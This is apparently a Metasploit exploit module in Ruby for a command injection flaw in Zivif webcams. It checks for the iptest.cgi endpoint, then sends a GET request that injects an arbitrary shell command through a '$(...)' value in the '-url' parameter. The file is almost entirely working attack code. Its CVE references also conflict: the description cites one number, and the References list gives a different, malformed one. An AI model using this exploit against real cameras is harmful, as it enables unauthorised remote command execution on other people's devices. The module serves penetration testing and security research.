##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Zivif Camera iptest.cgi Blind Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Zivif
webcams. This is known to impact versions prior to and including v2.3.4.2103.
Exploit was reported in CVE-2017-17105.
},
'License' => MSF_LICENSE,
'Author' => [ 'Silas Cutler (p1nk)' ],
'References' =>
[
[ 'URL', 'https://seclists.org/fulldisclosure/2017/Dec/42' ],
[ 'CVE', '2017-171069' ]
],
'Platform' => 'unix',
'Targets' =>
[
[ 'Automatic Target', { }]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x27",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic'
}
},
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/generic',
},
'Privileged' => false,
'DisclosureDate' => "2017-09-01",
'DefaultTarget' => 0))
end
def check
res = send_request_cgi('uri' => normalize_uri('cgi-bin', 'iptest.cgi'))
unless res
vprint_error('Connection failed')
return Exploit::CheckCode::Unknown
end
unless res.code && res.code == 200
return CheckCode::Safe
end
CheckCode::Detected
end
def exploit
print_status("Sending request")
cmd = datastore['CMD']
res = send_request_cgi(
'uri' => normalize_uri('cgi-bin', 'iptest.cgi'),
'method' => 'GET',
'vars_get' => {
'cmd' => "iptest.cgi",
'-time' => Time.now.to_i,
'-url' => "$(" + cmd + ")"
}
)
unless res
fail_with(Failure::Unreachable, 'Connection failed')
end
if res.code && res.code == 200
print_good('Command sent successfully')
else
fail_with(Failure::UnexpectedReply, 'Unable to send command to target')
end
end
end
